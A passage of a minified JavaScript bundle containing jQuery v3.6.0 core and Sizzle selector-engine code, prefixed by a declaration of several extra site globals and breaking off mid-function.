/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */
var YT,YTConfig,__extends,AI,Microsoft,c5App,click;!function(n,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=n.document?t(n,!0):function(n){if(!n.document)throw new Error("jQuery requires a window with a document");return t(n)}:t(n)}("undefined"!=typeof window?window:this,function(n,t){"use strict";function kr(n,t,i){var r,e,u=(i=i||f).createElement("script");if(u.text=n,t)for(r in se)(e=t[r]||t.getAttribute&&t.getAttribute(r))&&u.setAttribute(r,e);i.head.appendChild(u).parentNode.removeChild(u)}function ut(n){return null==n?n+"":"object"==typeof n||"function"==typeof n?ri[wr.call(n)]||"object":typeof n}function pi(n){var t=!!n&&"length"in n&&n.length,i=ut(n);return!u(n)&&!rt(n)&&("array"===i||0===t||"number"==typeof t&&0<t&&t-1 in n)}function c(n,t){return n.nodeName&&n.nodeName.toLowerCase()===t.toLowerCase()}function bi(n,t,r){return u(t)?i.grep(n,function(n,i){return!!t.call(n,i,n)!==r}):t.nodeType?i.grep(n,function(n){return n===t!==r}):"string"!=typeof t?i.grep(n,function(n){return-1<ii.call(t,n)!==r}):i.filter(t,n,r)}function fu(n,t){while((n=n[t])&&1!==n.nodeType);return n}function et(n){return n}function fi(n){throw n;}function eu(n,t,i,r){var f;try{n&&u(f=n.promise)?f.call(n).done(t).fail(i):n&&u(f=n.then)?f.call(n,t,i):t.apply(void 0,[n].slice(r))}catch(n){i.apply(void 0,[n])}}function oi(){f.removeEventListener("DOMContentLoaded",oi);n.removeEventListener("load",oi);i.ready()}function le(n,t){return t.toUpperCase()}function y(n){return n.replace(he,"ms-").replace(ce,le)}function bt(){this.expando=i.expando+bt.uid++}function su(n,t,i){var u,r;if(void 0===i&&1===n.nodeType)if(u="data-"+t.replace(ve,"-$&").toLowerCase(),"string"==typeof(i=n.getAttribute(u))){try{i="true"===(r=i)||"false"!==r&&("null"===r?null:r===+r+""?+r:ae.test(r)?JSON.parse(r):r)}catch(n){}o.set(n,t,i)}else i=void 0;return i}function cu(n,t,r,u){var s,h,c=20,l=u?function(){return u.cur()}:function(){return i.css(n,t,"")},o=l(),e=r&&r[3]||(i.cssNumber[t]?"":"px"),f=n.nodeType&&(i.cssNumber[t]||"px"!==e&&+o)&&kt.exec(i.css(n,t));if(f&&f[3]!==e){for(o/=2,e=e||f[3],f=+o||1;c--;)i.style(n,t,f+e),(1-h)*(1-(h=l()/o||.5))<=0&&(c=0),f/=h;f*=2;i.style(n,t,f+e);r=r||[]}return r&&(f=+f||+o||0,s=r[1]?f+(r[1]+1)*r[2]:+r[2],u&&(u.unit=e,u.start=f,u.end=s)),s}function ht(n,t){for(var h,f,a,s,c,l,e,o=[],u=0,v=n.length;u<v;u++)(f=n[u]).style&&(h=f.style.display,t?("none"===h&&(o[u]=r.get(f,"display")||null,o[u]||(f.style.display="")),""===f.style.display&&dt(f)&&(o[u]=(e=c=s=void 0,c=(a=f).ownerDocument,l=a.nodeName,(e=ki[l])||(s=c.body.appendChild(c.createElement(l)),e=i.css(s,"display"),s.parentNode.removeChild(s),"none"===e&&(e="block"),ki[l]=e)))):"none"!==h&&(o[u]="none",r.set(f,"display",h)));for(u=0;u<v;u++)null!=o[u]&&(n[u].style.display=o[u]);return n}function s(n,t){var r;return r="undefined"!=typeof n.getElementsByTagName?n.getElementsByTagName(t||"*"):"undefined"!=typeof n.querySelectorAll?n.querySelectorAll(t||"*"):[],void 0===t||t&&c(n,t)?i.merge([n],r):r}function di(n,t){for(var i=0,u=n.length;i<u;i++)r.set(n[i],"globalEval",!t||r.get(t[i],"globalEval"))}function yu(n,t,r,u,f){for(var e,o,p,a,w,v,c=t.createDocumentFragment(),y=[],l=0,b=n.length;l<b;l++)if((e=n[l])||0===e)if("object"===ut(e))i.merge(y,e.nodeType?[e]:e);else if(vu.test(e)){for(o=o||c.appendChild(t.createElement("div")),p=(lu.exec(e)||["",""])[1].toLowerCase(),a=h[p]||h._default,o.innerHTML=a[1]+i.htmlPrefilter(e)+a[2],v=a[0];v--;)o=o.lastChild;i.merge(y,o.childNodes);(o=c.firstChild).textContent=""}else y.push(t.createTextNode(e));for(c.textContent="",l=0;e=y[l++];)if(u&&-1<i.inArray(e,u))f&&f.push(e);else if(w=st(e),o=s(c.appendChild(e),"script"),w&&di(o),r)for(v=0;e=o[v++];)au.test(e.type||"")&&r.push(e);return c}function ct(){return!0}function lt(){return!1}function pe(n,t){return n===function(){try{return f.activeElement}catch(n){}}()==("focus"===t)}function nr(n,t,r,u,f,e){var o,s;if("object"==typeof t){for(s in"string"!=typeof r&&(u=u||r,r=void 0),t)nr(n,s,r,u,t[s],e);return n}if(null==u&&null==f?(f=r,u=r=void 0):null==f&&("string"==typeof r?(f=u,u=void 0):(f=u,u=r,r=void 0)),!1===f)f=lt;else if(!f)return n;return 1===e&&(o=f,(f=function(n){return i().off(n),o.apply(this,arguments)}).guid=o.guid||(o.guid=i.guid++)),n.each(function(){i.event.add(this,t,f,u,r)})}function hi(n,t,u){u?(r.set(n,t,!1),i.event.add(n,t,{namespace:!1,handler:function(n){var o,e,f=r.get(this,t);if(1&n.isTrigger&&this[t]){if(f.length)(i.event.special[t]||{}).delegateType&&n.stopPropagation();else if(f=k.call(arguments),r.set(this,t,f),o=u(this,t),this[t](),f!==(e=r.get(this,t))||o?r.set(this,t,!1):e={},f!==e)return n.stopImmediatePropagation(),n.preventDefault(),e&&e.value}else f.length&&(r.set(this,t,{value:i.event.trigger(i.extend(f[0],i.Event.prototype),f.slice(1),this)}),n.stopImmediatePropagation())}})):void 0===r.get(n,t)&&i.event.add(n,t,ct)}function pu(n,t){return c(n,"table")&&c(11!==t.nodeType?t:t.firstChild,"tr")&&i(n).children("tbody")[0]||n}function de(n){return n.type=(null!==n.getAttribute("type"))+"/"+n.type,n}function ge(n){return"true/"===(n.type||"").slice(0,5)?n.type=n.type.slice(5):n.removeAttribute("type"),n}function wu(n,t){var u,s,f,h,c,e;if(1===t.nodeType){if(r.hasData(n)&&(e=r.get(n).events))for(f in r.remove(t,"handle events"),e)for(u=0,s=e[f].length;u<s;u++)i.event.add(t,f,e[f][u]);o.hasData(n)&&(h=o.access(n),c=i.extend({},h),o.set(t,c))}}function at(n,t,f,o){t=pr(t);var a,b,l,v,h,y,c=0,p=n.length,d=p-1,w=t[0],k=u(w);if(k||1<p&&"string"==typeof w&&!e.checkClone&&be.test(w))return n.each(function(i){var r=n.eq(i);k&&(t[0]=w.call(this,i,r.html()));at(r,t,f,o)});if(p&&(b=(a=yu(t,n[0].ownerDocument,!1,n,o)).firstChild,1===a.childNodes.length&&(a=b),b||o)){for(v=(l=i.map(s(a,"script"),de)).length;c<p;c++)h=a,c!==d&&(h=i.clone(h,!0,!0),v&&i.merge(l,s(h,"script"))),f.call(n[c],h,c);if(v)for(y=l[l.length-1].ownerDocument,i.map(l,ge),c=0;c<v;c++)h=l[c],au.test(h.type||"")&&!r.access(h,"globalEval")&&i.contains(y,h)&&(h.src&&"module"!==(h.type||"").toLowerCase()?i._evalUrl&&!h.noModule&&i._evalUrl(h.src,{nonce:h.nonce||h.getAttribute("nonce")},y):kr(h.textContent.replace(ke,""),h,y))}return n}function bu(n,t,r){for(var u,e=t?i.filter(t,n):n,f=0;null!=(u=e[f]);f++)r||1!==u.nodeType||i.cleanData(s(u)),u.parentNode&&(r&&st(u)&&di(s(u,"script")),u.parentNode.removeChild(u));return n}function ni(n,t,r){var o,s,h,f,u=n.style;return(r=r||ci(n))&&(""!==(f=r.getPropertyValue(t)||r[t])||st(n)||(f=i.style(n,t)),!e.pixelBoxStyles()&&tr.test(f)&&no.test(t)&&(o=u.width,s=u.minWidth,h=u.maxWidth,u.minWidth=u.maxWidth=u.width=f,f=r.width,u.width=o,u.minWidth=s,u.maxWidth=h)),void 0!==f?f+"":f}function du(n,t){return{get:function(){if(!n())return(this.get=t).apply(this,arguments);delete this.get}}}function ir(n){var t=i.cssProps[n]||tf[n];return t||(n in nf?n:tf[n]=function(n){for(var i=n[0].toUpperCase()+n.slice(1),t=gu.length;t--;)if((n=gu[t]+i)in nf)return n}(n)||n)}function ff(n,t,i){var r=kt.exec(t);return r?Math.max(0,r[2]-(i||0))+(r[3]||"px"):t}function rr(n,t,r,u,f,e){var o="width"===t?1:0,h=0,s=0;if(r===(u?"border":"content"))return 0;for(;o<4;o+=2)"margin"===r&&(s+=i.css(n,r+b[o],!0,f)),u?("content"===r&&(s-=i.css(n,"padding"+b[o],!0,f)),"margin"!==r&&(s-=i.css(n,"border"+b[o]+"Width",!0,f))):(s+=i.css(n,"padding"+b[o],!0,f),"padding"!==r?s+=i.css(n,"border"+b[o]+"Width",!0,f):h+=i.css(n,"border"+b[o]+"Width",!0,f));return!u&&0<=e&&(s+=Math.max(0,Math.ceil(n["offset"+t[0].toUpperCase()+t.slice(1)]-e-s-h-.5))||0),s}function ef(n,t,r){var f=ci(n),o=(!e.boxSizingReliable()||r)&&"border-box"===i.css(n,"boxSizing",!1,f),s=o,u=ni(n,t,f),h="offset"+t[0].toUpperCase()+t.slice(1);if(tr.test(u)){if(!r)return u;u="auto"}return(!e.boxSizingReliable()&&o||!e.reliableTrDimensions()&&c(n,"tr")||"auto"===u||!parseFloat(u)&&"inline"===i.css(n,"display",!1,f))&&n.getClientRects().length&&(o="border-box"===i.css(n,"boxSizing",!1,f),(s=h in n)&&(u=n[h])),(u=parseFloat(u)||0)+rr(n,t,r||(o?"border":"content"),s,f,u)+"px"}function a(n,t,i,r,u){return new a.prototype.init(n,t,i,r,u)}function ur(){li&&(!1===f.hidden&&n.requestAnimationFrame?n.requestAnimationFrame(ur):n.setTimeout(ur,i.fx.interval),i.fx.tick())}function lf(){return n.setTimeout(function(){vt=void 0}),vt=Date.now()}function ai(n,t){var u,r=0,i={height:n};for(t=t?1:0;r<4;r+=2-t)i["margin"+(u=b[r])]=i["padding"+u]=n;return t&&(i.opacity=i.width=n),i}function af(n,t,i){for(var u,f=(v.tweeners[t]||[]).concat(v.tweeners["*"]),r=0,e=f.length;r<e;r++)if(u=f[r].call(i,t,n))return u}function v(n,t,r){var o,s,h=0,a=v.prefilters.length,e=i.Deferred().always(function(){delete l.elem}),l=function(){if(s)return!1;for(var o=vt||lf(),t=Math.max(0,f.startTime+f.duration-o),i=1-(t/f.duration||0),r=0,u=f.tweens.length;r<u;r++)f.tweens[r].run(i);return e.notifyWith(n,[f,i,t]),i<1&&u?t:(u||e.notifyWith(n,[f,1,0]),e.resolveWith(n,[f]),!1)},f=e.promise({elem:n,props:i.extend({},t),opts:i.extend(!0,{specialEasing:{},easing:i.easing._default},r),originalProperties:t,originalOptions:r,startTime:vt||lf(),duration:r.duration,tweens:[],createTween:function(t,r){var u=i.Tween(n,f.opts,t,r,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(u),u},stop:function(t){var i=0,r=t?f.tweens.length:0;if(s)return this;for(s=!0;i<r;i++)f.tweens[i].run(1);return t?(e.notifyWith(n,[f,1,0]),e.resolveWith(n,[f,t])):e.rejectWith(n,[f,t]),this}}),c=f.props;for(!function(n,t){var r,f,e,u,o;for(r in n)if(e=t[f=y(r)],u=n[r],Array.isArray(u)&&(e=u[1],u=n[r]=u[0]),r!==f&&(n[f]=u,delete n[r]),(o=i.cssHooks[f])&&"expand"in o)for(r in u=o.expand(u),delete n[f],u)r in n||(n[r]=u[r],t[r]=e);else t[f]=e}(c,f.opts.specialEasing);h<a;h++)if(o=v.prefilters[h].call(f,n,c,f.opts))return u(o.stop)&&(i._queueHooks(f.elem,f.opts.queue).stop=o.stop.bind(o)),o;return i.map(c,af,f),u(f.opts.start)&&f.opts.start.call(n,f),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always),i.fx.timer(i.extend(l,{elem:n,anim:f,queue:f.opts.queue})),f}function tt(n){return(n.match(l)||[]).join(" ")}function it(n){return n.getAttribute&&n.getAttribute("class")||""}function fr(n){return Array.isArray(n)?n:"string"==typeof n&&n.match(l)||[]}function hr(n,t,r,u){var f;if(Array.isArray(t))i.each(t,function(t,i){r||ro.test(n)?u(n,i):hr(n+"["+("object"==typeof i&&null!=i?t:"")+"]",i,r,u)});else if(r||"object"!==ut(t))u(n,t);else for(f in t)hr(n+"["+f+"]",t[f],r,u)}function ne(n){return function(t,i){"string"!=typeof t&&(i=t,t="*");var r,f=0,e=t.toLowerCase().match(l)||[];if(u(i))while(r=e[f++])"+"===r[0]?(r=r.slice(1)||"*",(n[r]=n[r]||[]).unshift(i)):(n[r]=n[r]||[]).push(i)}}function te(n,t,r,u){function e(s){var h;return f[s]=!0,i.each(n[s]||[],function(n,i){var s=i(t,r,u);return"string"!=typeof s||o||f[s]?o?!(h=s):void 0:(t.dataTypes.unshift(s),e(s),!1)}),h}var f={},o=n===cr;return e(t.dataTypes[0])||!f["*"]&&e("*")}function ar(n,t){var r,u,f=i.ajaxSettings.flatOptions||{};for(r in t)void 0!==t[r]&&((f[r]?n:u||(u={}))[r]=t[r]);return u&&i.extend(!0,n,u),n}var p=[],yr=Object.getPrototypeOf,k=p.slice,pr=p.flat?function(n){return p.flat.call(n)}:function(n){return p.concat.apply([],n)},yi=p.push,ii=p.indexOf,ri={},wr=ri.toString,ui=ri.hasOwnProperty,br=ui.toString,oe=br.call(Object),e={},u=function(n){return"function"==typeof n&&"number"!=typeof n.nodeType&&"function"!=typeof n.item},rt=function(n){return null!=n&&n===n.window},f=n.document,se={type:!0,src:!0,nonce:!0,noModule:!0},dr="3.6.0",i=function(n,t){return new i.fn.init(n,t)},d,wi,tu,iu,ru,uu,l,ou,ei,ot,dt,ki,h,vu,gi,vt,li,yt,sf,hf,cf,vf,pt,yf,pf,wf,er,or,ie,wt,re,vr,vi,ue,fe,ee;i.fn=i.prototype={jquery:dr,constructor:i,length:0,toArray:function(){return k.call(this)},get:function(n){return null==n?k.call(this):n<0?this[n+this.length]:this[n]},pushStack:function(n){var t=i.merge(this.constructor(),n);return t.prevObject=this,t},each:function(n){return i.each(this,n)},map:function(n){return this.pushStack(i.map(this,function(t,i){return n.call(t,i,t)}))},slice:function(){return this.pushStack(k.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(i.grep(this,function(n,t){return(t+1)%2}))},odd:function(){return this.pushStack(i.grep(this,function(n,t){return t%2}))},eq:function(n){var i=this.length,t=+n+(n<0?i:0);return this.pushStack(0<=t&&t<i?[this[t]]:[])},end:function(){return this.prevObject||this.constructor()},push:yi,sort:p.sort,splice:p.splice};i.extend=i.fn.extend=function(){var s,f,e,t,o,c,n=arguments[0]||{},r=1,l=arguments.length,h=!1;for("boolean"==typeof n&&(h=n,n=arguments[r]||{},r++),"object"==typeof n||u(n)||(n={}),r===l&&(n=this,r--);r<l;r++)if(null!=(s=arguments[r]))for(f in s)t=s[f],"__proto__"!==f&&n!==t&&(h&&t&&(i.isPlainObject(t)||(o=Array.isArray(t)))?(e=n[f],c=o&&!Array.isArray(e)?[]:o||i.isPlainObject(e)?e:{},o=!1,n[f]=i.extend(h,c,t)):void 0!==t&&(n[f]=t));return n};i.extend({expando:"jQuery"+(dr+Math.random()).replace(/\D/g,""),isReady:!0,error:function(n){throw new Error(n);},noop:function(){},isPlainObject:function(n){var t,i;return!(!n||"[object Object]"!==wr.call(n))&&(!(t=yr(n))||"function"==typeof(i=ui.call(t,"constructor")&&t.constructor)&&br.call(i)===oe)},isEmptyObject:function(n){for(var t in n)return!1;return!0},globalEval:function(n,t,i){kr(n,{nonce:t&&t.nonce},i)},each:function(n,t){var r,i=0;if(pi(n)){for(r=n.length;i<r;i++)if(!1===t.call(n[i],i,n[i]))break}else for(i in n)if(!1===t.call(n[i],i,n[i]))break;return n},makeArray:function(n,t){var r=t||[];return null!=n&&(pi(Object(n))?i.merge(r,"string"==typeof n?[n]:n):yi.call(r,n)),r},inArray:function(n,t,i){return null==t?-1:ii.call(t,n,i)},merge:function(n,t){for(var u=+t.length,i=0,r=n.length;i<u;i++)n[r++]=t[i];return n.length=r,n},grep:function(n,t,i){for(var u=[],r=0,f=n.length,e=!i;r<f;r++)!t(n[r],r)!==e&&u.push(n[r]);return u},map:function(n,t,i){var e,u,r=0,f=[];if(pi(n))for(e=n.length;r<e;r++)null!=(u=t(n[r],r,i))&&f.push(u);else for(r in n)null!=(u=t(n[r],r,i))&&f.push(u);return pr(f)},guid:1,support:e});"function"==typeof Symbol&&(i.fn[Symbol.iterator]=p[Symbol.iterator]);i.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(n,t){ri["[object "+t+"]"]=t.toLowerCase()});d=function(n){function u(n,t,r,u){var s,y,c,l,p,w,d,v=t&&t.ownerDocument,a=t?t.nodeType:9;if(r=r||[],"string"!=typeof n||!n||1!==a&&9!==a&&11!==a)return r;if(!u&&(b(t),t=t||i,h)){if(11!==a&&(p=ar.exec(n)))if(s=p[1]){if(9===a){if(!(c=t.getElementById(s)))return r;if(c.id===s)return r.push(c),r}else if(v&&(c=v.getElementById(s))&&et(t,c)&&c.id===s)return r.push(c),r}else{if(p[2])return k.apply(r,t.getElementsByTagName(n)),r;if((s=p[3])&&f.getElementsByClassName&&t.getElementsByClassName)return k.apply(r,t.getElementsByClassName(s)),r}if(f.qsa&&!lt[n+" "]&&(!o||!o.test(n))&&(1!==a||"object"!==t.nodeName.toLowerCase())){if(d=n,v=t,1===a&&(er.test(n)||yi.test(n))){for((v=ti.test(n)&&ri(t.parentNode)||t)===t&&f.scope||((l=t.getAttribute("id"))?l=l.replace(pi,wi):t.setAttribute("id",l=e)),y=(w=ft(n)).length;y--;)w[y]=(l?"#"+l:":scope")+" "+pt(w[y]);d=w.join(",")}try{return k.apply(r,v.querySelectorAll(d)),r}catch(t){lt(n,!0)}finally{l===e&&t.removeAttribute("id")}}}return si(n.replace(at,"$1"),t,r,u)}function yt(){var n=[];return function i(r,u){return n.push(r+" ")>t.cacheLength&&delete i[n.shift()],i[r+" "]=u}}function l(n){return n[e]=!0,n}function a(n){var t=i.createElement("fieldset");try{return!!n(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t);t=null}}function ii(n,i){for(var r=n.split("|"),u=r.length;u--;)t.attrHandle[r[u]]=i}function ki(n,t){var i=t&&n,r=i&&1===n.nodeType&&1===t.nodeType&&n.sourceIndex-t.sourceIndex;if(r)return r;if(i)while(i=i.nextSibling)if(i===t)return-1;return n?1:-1}function yr(n){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===n}}function pr(n){return function(t){var i=t.nodeName.toLowerCase();return("input"===i||"button"===i)&&t.type===n}}function di(n){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===n:t.disabled===n:t.isDisabled===n||t.isDisabled!==!n&&vr(t)===n:t.disabled===n:"label"in t&&t.disabled===n}}function it(n){return l(function(t){return t=+t,l(function(i,r){for(var u,f=n([],i.length,t),e=f.length;e--;)i[u=f[e]]&&(i[u]=!(r[u]=i[u]))})})}function ri(n){return n&&"undefined"!=typeof n.getElementsByTagName&&n}function gi(){}function pt(n){for(var t=0,r=n.length,i="";t<r;t++)i+=n[t].value;return i}function wt(n,t,i){var r=t.dir,u=t.next,f=u||r,o=i&&"parentNode"===f,s=nr++;return t.first?function(t,i,u){while(t=t[r])if(1===t.nodeType||o)return n(t,i,u);return!1}:function(t,i,h){var c,l,a,y=[v,s];if(h){while(t=t[r])if((1===t.nodeType||o)&&n(t,i,h))return!0}else while(t=t[r])if(1===t.nodeType||o)if(l=(a=t[e]||(t[e]={}))[t.uniqueID]||(a[t.uniqueID]={}),u&&u===t.nodeName.toLowerCase())t=t[r]||t;else{if((c=l[f])&&c[0]===v&&c[1]===s)return y[2]=c[2];if((l[f]=y)[2]=n(t,i,h))return!0}return!1}}function ui(n){return 1<n.length?function(t,i,r){for(var u=n.length;u--;)if(!n[u](t,i,r))return!1;return!0}:n[0]}function bt(n,t,i,r,u){for(var e,o=[],f=0,s=n.length,h=null!=t;f<s;f++)(e=n[f])&&(i&&!i(e,r,u)||(o.push(e),h&&t.push(f)));return o}function fi(n,t,i,r,f,o){return r&&!r[e]&&(r=fi(r)),f&&!f[e]&&(f=fi(f,o)),l(function(e,o,s,h){var a,l,v,w=[],p=[],b=o.length,d=e||function(n,t,i){for(var r=0,f=t.length;r<f;r++)u(n,t[r],i);return i}(t||"*",s.nodeType?[s]:s,[]),y=!n||!e&&t?d:bt(d,w,n,s,h),c=i?f||(e?n:b||r)?[]:o:y;if(i&&i(y,c,s,h),r)for(a=bt(c,p),r(a,[],s,h),l=a.length;l--;)(v=a[l])&&(c[p[l]]=!(y[p[l]]=v));if(e){if(f||n){if(f){for(a=[],l=c.length;l--;)(v=c[l])&&a.push(y[l]=v);f(null,c=[],a,h)}for(l=c.length;l--;)(v=c[l])&&-1<(a=f?nt(e,v):w[l])&&(e[a]=!(o[a]=v))}}else c=bt(c===o?c.splice(b,c.length):c),f?f(null,o,c,h):k.apply(o,c)})}function ei(n){for(var o,u,r,s=n.length,h=t.relative[n[0].type],c=h||t.relative[" "],i=h?1:0,l=wt(function(n){return n===o},c,!0),a=wt(function(n){return-1<nt(o,n)},c,!0),f=[function(n,t,i){var r=!h&&(i||t!==ht)||((o=t).nodeType?l(n,t,i):a(n,t,i));return o=null,r}];i<s;i++)if(u=t.relative[n[i].type])f=[wt(ui(f),u)];else{if((u=t.filter[n[i].type].apply(null,n[i].matches))[e]){for(r=++i;r<s;r++)if(t.relative[n[r].type])break;return fi(1<i&&ui(f),1<i&&pt(n.slice(0,i-1).concat({value:" "===n[i-2].type?"*":""})).replace(at,"$1"),u,i<r&&ei(n.slice(i,r)),r<s&&ei(n=n.slice(r)),r<s&&pt(n))}f.push(u)}return ui(f)}var rt,f,t,st,oi,ft,kt,si,ht,w,ut,b,i,s,h,o,d,ct,et,e="sizzle"+1*new Date,c=n.document,v=0,nr=0,hi=yt(),ci=yt(),li=yt(),lt=yt(),dt=function(n,t){return n===t&&(ut=!0),0},tr={}.hasOwnProperty,g=[],ir=g.pop,rr=g.push,k=g.push,ai=g.slice,nt=function(n,t){for(var i=0,r=n.length;i<r;i++)if(n[i]===t)return i;return-1},gt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",r="[\\x20\\t\\r\\n\\f]",tt="(?:\\\\[\\da-fA-F]{1,6}"+r+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",vi="\\["+r+"*("+tt+")(?:"+r+"*([*^$|!~]?=)"+r+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+tt+"))|)"+r+"*\\]",ni=":("+tt+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+vi+")*)|.*)\\)|)",ur=new RegExp(r+"+","g"),at=new RegExp("^"+r+"+|((?:^|[^\\\\])(?:\\\\.)*)"+r+"+$","g"),fr=new RegExp("^"+r+"*,"+r+"*"),yi=new RegExp("^"+r+"*([>+~]|"+r+")"+r+"*"),er=new RegExp(r+"|>"),or=new RegExp(ni),sr=new RegExp("^"+tt+"$"),vt={ID:new RegExp("^#("+tt+")"),CLASS:new RegExp("^\\.("+tt+")"),TAG:new RegExp("^("+tt+"|[*])"),ATTR:new RegExp("^"+vi),PSEUDO:new RegExp("^"+ni),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+r+"*(even|odd|(([+-]|)(\\d*)n|)"+r+"*(?:([+-]|)"+r+"*(\\d+)|))"+r+"*\\)|)","i"),bool:new RegExp("^(?:"+gt+")$","i"),needsContext:new RegExp("^"+r+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+r+"*((?:-\\d)?\\d*)"+r+"*\\)|)(?=[^-]|$)","i")},hr=/HTML$/i,cr=/^(?:input|select|textarea|button)$/i,lr=/^h\d$/i,ot=/^[^{]+\{\s*\[native \w/,ar=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ti=/[+~]/,y=new RegExp("\\\\[\\da-fA-F]{1,6}"+r+"?|\\\\([^\\r\\n\\f])","g"),p=function(n,t){var i="0x"+n.slice(1)-65536;return t||(i<0?String.fromCharCode(i+65536):String.fromCharCode(i>>10|55296,1023&i|56320))},pi=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,wi=function(n,t){return t?"\0"===n?"�":n.slice(0,-1)+"\\"+n.charCodeAt(n.length-1).toString(16)+" ":"\\"+n},bi=function(){b()},vr=wt(function(n){return!0===n.disabled&&"fieldset"===n.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{k.apply(g=ai.call(c.childNodes),c.childNodes);g[c.childNodes.length].nodeType}catch(rt){k={apply:g.length?function(n,t){rr.apply(n,ai.call(t))}:function(n,t){for(var i=n.length,r=0;n[i++]=t[r++];);n.length=i-1}}}for(rt in f=u.support={},oi=u.isXML=function(n){var i=n&&n.namespaceURI,t=n&&(n.ownerDocument||n).documentElement;return!hr.test(i||t&&t.nodeName||"HTML")},b=u.setDocument=function(n){var v,u,l=n?n.ownerDocument||n:c;return l!=i&&9===l.nodeType&&l.documentElement&&(s=(i=l).documentElement,h=!oi(i),c!=i&&(u=i.defaultView)&&u.top!==u&&(u.addEventListener?u.addEventListener("unload",bi,!1):u.attachEvent&&u.attachEvent("onunload",bi)),f.scope=a(function(n){return s.appendChild(n).appendChild(i.createElement("div")),"undefined"!=typeof n.querySelectorAll&&!n.querySelectorAll(":scope fieldset div").length}),f.attributes=a(function(n){return n.className="i",!n.getAttribute("className")}),f.getElementsByTagName=a(function(n){return n.appendChild(i.createComment("")),!n.getElementsByTagName("*").length}),f.getElementsByClassName=ot.test(i.getElementsByClassName),f.getById=a(function(n){return s.appendChild(n).id=e,!i.getElementsByName||!i.getElementsByName(e).length}),f.getById?(t.filter.ID=function(n){var t=n.replace(y,p);return function(n){return n.getAttribute("id")===t}},t.find.ID=function(n,t){if("undefined"!=typeof t.getElementById&&h){var i=t.getElementById(n);return i?[i]:[]}}):(t.filter.ID=function(n){var t=n.replace(y,p);return function(n){var i="undefined"!=typeof n.getAttributeNode&&n.getAttributeNode("id");return i&&i.value===t}},t.find.ID=function(n,t){if("undefined"!=typeof t.getElementById&&h){var r,u,f,i=t.getElementById(n);if(i){if((r=i.getAttributeNode("id"))&&r.value===n)return[i];for(f=t.getElementsByName(n),u=0;i=f[u++];)if((r=i.getAttributeNode("id"))&&r.value===n)return[i]}return[]}}),t.find.TAG=f.getElementsByTagName?function(n,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(n):f.qsa?t.querySelectorAll(n):void 0}:function(n,t){var i,r=[],f=0,u=t.getElementsByTagName(n);if("*"===n){while(i=u[f++])1===i.nodeType&&r.push(i);return r}return u},t.find.CLASS=f.getElementsByClassName&&function(n,t){if("undefined"!=typeof t.getElementsByClassName&&h)return t.getElementsByClassName(n)},d=[],o=[],(f.qsa=ot.test(i.querySelectorAll))&&(a(function(n){var t;s.appendChild(n).innerHTML="<a id='"+e+"'><\/a><select id='"+e+"-\r\\' msallowcapture=''><option selected=''><\/option><\/select>";n.querySelectorAll("[msallowcapture^='']").length&&o.push("[*^$]="+r+"*(?:''|\"\")");n.querySelectorAll("[selected]").length||o.push("\\["+r+"*(?:value|"+gt+")");n.querySelectorAll("[id~="+e+"-]").length||o.push("~=");(t=i.createElement("input")).setAttribute("name","");n.appendChild(t);n.querySelectorAll("[name='']").length||o.push("\\["+r+"*name"+r+"*="+r+"*(?:''|\"\")");n.querySelectorAll(":checked").length||o.push(":checked");n.querySelectorAll("a#"+e+"+*").length||o.push(".#.+[+~]");n.querySelectorAll("\\\f");o.push("[\\r\\n\\f]")}),a(function(n){n.innerHTML="<a href='' disabled='disabled'><\/a><select disabled='disabled'><option/><\/select>";var t=i.createElement("input");t.setAttribute("type","hidden");n.appendChild(t).setAttribute("name","D");n.querySelectorAll("[name=d]").length&&o.push("name"+r+"*[*^$|!~]?=");2!==n.querySelectorAll(":enabled").length&&o.push(":enabled",":disabled");s.appendChild(n).disabled=!0;2!==n.querySelectorAll(":disabled").length&&o.push(":enabled",":disabled");n.querySelectorAll("*,:x");o.push(",.*:")})),(f.matchesSelector=ot.test(ct=s.matches||s.webkitMatchesSelector||s.mozMatchesSelector||s.oMatchesSelector||s.msMatchesSelector))&&a(function(n){f.disconnectedMatch=ct.call(n,"*");ct.call(n,"[s!='']:x");d.push("!=",ni)}),o=o.length&&new RegExp(o.join("|")),d=d.length&&new RegExp(d.join("|")),v=ot.test(s.compareDocumentPosition),et=v||ot.test(s.contains)?function(n,t){var r=9===n.nodeType?n.documentElement:n,i=t&&t.parentNode;return n===i||!(!i||1!==i.nodeType||!(r.contains?r.contains(i):n.compareDocumentPosition&&16&n.compareDocumentPosition(i)))}:function(n,t){if(t)while(t=t.parentNode)if(t===n)return!0;return!1},dt=v?function(n,t){if(n===t)return ut=!0,0;var r=!n.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(n.ownerDocument||n)==(t.ownerDocument||t)?n.compareDocumentPosition(t):1)||!f.sortDetached&&t.compareDocumentPosition(n)===r?n==i||n.ownerDocument==c&&et(c,n)?-1:t==i||t.ownerDocument==c&&et(c,t)?1:w?nt(w,n)-nt(w,t):0:4&r?-1:1)}:function(n,t){if(n===t)return ut=!0,0;var r,u=0,o=n.parentNode,s=t.parentNode,f=[n],e=[t];if(!o||!s)return 